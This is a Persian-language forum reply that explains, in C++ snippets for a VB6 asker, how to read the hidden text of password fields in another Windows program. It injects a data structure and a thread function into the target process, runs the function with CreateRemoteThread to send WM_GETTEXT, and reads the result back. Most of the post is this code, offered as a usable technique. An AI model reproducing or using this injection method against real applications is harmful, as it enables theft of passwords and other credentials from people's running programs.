سلام.
کاري که ميخواهيد انجام بدهيد (بدست آوردن متن فيلد هاي پسورد) از چند راه مختلف ميتونه صورت بگيره که تمام آنها از يک روش مشابه استفاده ميکنند و آن تزريق کد به يک پروسه ميباشد.فيلد هاي پسورد معمولا بصورتي در حافظه ذخيره ميشوند که به برنامه هاي ديگر اجازه دسترسي به محتواي خود را نميدهند و به همين علت بدست آوردن مقدار آنها کمي پيچيده تر از بدست آوردن مقدار فيلدهاي معمولي هست.
روش هاي موجود همگي پيچيدگي هاي خودشونو دارند ولي بنده سعي ميکنم بهترين و واضح ترين روش را توضيخ بدم.
متاسفانه زياد با زبان VB6 میانه خوبی ندارم و همينطور هم فعلا به VB6 دسترسي ندارم و حتي نميدونم چيزهايي که ميخواهم بگم در VB6 قابل پياده سازي هست يا نه!اما با توجه به درخواستي که کرديد توضيح ميدم (البته بصورت مختصر) و اميدوارم که متوجه بشويد.(به زبان ++C)
کاري که قراره انجام دهيم اينه که ابتدا يک ساختار داده را در يک پروسه (پروسه اي که مربوط به فيلد پسورد ميشود) کپي ميکنيم این ساختار اطلاعات لازم را نگهداری میکند و سپس کد هایی که برای بدست آوردن این اطلاعات میباشد به پروسه کپی میکنیم و در نهایت آن را اجرا ميکنيم و نتيجه نهايي که همون متن داخل فيلد پسورد هست را بدست مياريم.
پياده سازي ساختار ما به شکل زير است:
کد:
typedef LRESULT (WINAPI *SENDMESSAGE)(HWND,UINT,WPARAM,LPARAM);
typedef struct {
HWND hwnd;
SENDMESSAGE fnSendMessage;
BYTE pbText[128 * sizeof(TCHAR)];
} INJDATA, *PINJDATA;
در ساختار بالا:
hwnd: این مقدار برابر با hwnd خود پنجر میشود.
fnSendMessage: این یک اشاره گر به تایع SendMessageA در User32 میباشد که پس از طزریق کد از طریق همین تابع اقدام به دریافت مقدار فیلد خواهیم کرد.
psText: بافری که متن فیلد در آن قرار میگیرد.
1- ابتدا يک Handle از پروسه مورد نظر بدست مياريم اين کار توسط تابع
OpenProces به شکل زير انجام ميشه.(براي اطلاع از نوع پارامتر ها و توضيحات بيشتر به MSDN مراجعه کنيد)
کد:
DWORD PID
HANDLE hProcess =
OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, PID);
2- سپس حافظه اي را در پروسه مورد نظر براي تزريق کدهايمان توسط تايع
VirtualAllocEx معين ميکنيم.(تخصيص حافظه)
کد:
INJDATA *pDataRemote;
pDataRemote = (INJDATA*) VirtualAllocEx( hProcess, 0, sizeof(INJDATA), MEM_COMMIT, PAGE_READWRITE );
hProcess برابر با پروسه مورد نظر ما ميباشد.
3- ساختار INJDATA را مقدار دهی و یک کپی از آن را توسط تابع
WriteProcessMemory به حافظه تخصیص داده شده طزریق میکنیم.
مقدار دهی ساختار INJDATA:
کد:
INJDATA DataLocal = {
hWnd,
(SENDMESSAGE) GetProcAddress(hUser32, fUnicode ? "SendMessageW" : "SendMessageA")
};
hWnd پنجره مورد نظر را انتقال میدهیم و نوع تابع SendMessage را تعیین میکنیم که یونیکد باشد یا اسکی.
تزریق یک کپی از ساختار به حافظه تخصیص یافته:
کد:
DWORD dwNumBytesXferred = 0
WriteProcessMemory( hProcess, pDataRemote, &DataLocal, sizeof(INJDATA), &dwNumBytesXferred );
4- حافظه پروسه را دوباره Allocate میکنیم اینبار برای طزریق کد های اجرایی.
تابعی که قرار هست در حافظه پروسه کپی شود به شکل زیر هست.
کد:
static DWORD WINAPI ThreadFunc (INJDATA *pData)
{
int nXferred = 0;
// Get password
nXferred = pData->fnSendMessage( pData->hwnd, WM_GETTEXT,
sizeof(pData->pbText)/sizeof(TCHAR),
(LPARAM)pData->pbText );
pData->pbText [127 * sizeof(TCHAR)] = __TEXT('\0');
return nXferred;
}
nXferred: طول رشته بدست آمده را در خود نگه میدارد که در آخر هم برگردانده میشود.
این تابع توسط خود پروسه اجرا خواهد شد بنابر این دسترسی به مقدار فیلد پسورد امکان پذیر میشود.این تابع توسط فراخوانی تابع SendMessage اقدام به دریافت مقدار فیلد پسورد میکند و سپس آن را در pbText که در ساختار طزریق شده قرار داشت میریزد.
نحوه Allocate و طزریق تابع:
کد:
const int cbCodeSize = ((LPBYTE) AfterThreadFunc - (LPBYTE) ThreadFunc);
pCodeRemote = (PDWORD) VirtualAllocEx( hProcess, 0, cbCodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
WriteProcessMemory( hProcess, pCodeRemote, &ThreadFunc, cbCodeSize, &dwNumBytesXferred );
5- حالا باید Thread که حاوی کد های ما هست رو توسط تابع
CreateRemoteThread اجرا کنیم به شکل زیر:
کد:
HANDLE hThread = NULL;
DWORD dwThreadId = 0;
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE) pCodeRemote,
pDataRemote, 0 , &dwThreadId);
6- منتظر میمانیم تا Thread اجرا شده به پایان برسه برای این منظور میتونیم از تابع
WaitForSingleObject استفاده کنیم.به شکل زیر:
کد:
WaitForSingleObject(hThread, INFINITE);
7- حالا وقت آن شده تا نتایج زحماتمونو (مقدار فیلد پسورد) بدست بیاریم یعنی باید مقدار ساختاری که قبلا طزریق کردیم و توسط تابع طزریق شده پر شده را بخوانیم.برای این کار از دو تابع
ReadProcessMemory یا
GetExitCodeThread استفاده میکنیم(بنده از تابع ReadProcessMemory استفاده میکنم).به شکل زیر:
ابتدا ساختار را از حافظه میخوانیم سپس با توجه به یونیکد یا اسکی بودن آن آنرا بازیابی میکنیم.
کد:
ReadProcessMemory( hProcess, pDataRemote, &DataLocal, sizeof(INJDATA), &dwNumBytesXferred);
if (fUnicode) wcscpy((LPWSTR) pbString, (LPCWSTR) DataLocal.pbText);
else strcpy((LPSTR) pbString, (LPCSTR) DataLocal.pbText);
در آخر هم باید تمام منابع استفاده شده را آزاد کنید.
کد ها کامل نیستند اما برای این کار هیچ تابع اضافه دیگری استفاده نمیشود و بنده تمام توابع لازم و اصلی را توضیح دادم و فقط سعی کردم نحوه کلی کار را توضیح بدم و از هر تابع برای فهم بهتر یک مثال زدم.
تمام توابع جزئی از API های ویندوز هستند و در VB6 قابل استفاده هستند.
شاید راههای ساده تری هم وجود داشته باشد اما من از آنها مطلع نیستم.
روشی که بنده توضیح دادم یکی از چندین روش CodeInjection هست که یکی از کاربرد های آن را هم بیان میکنه.
امیدوارم متوجه شوید و بدردتان بخورد.
موفق باشید.
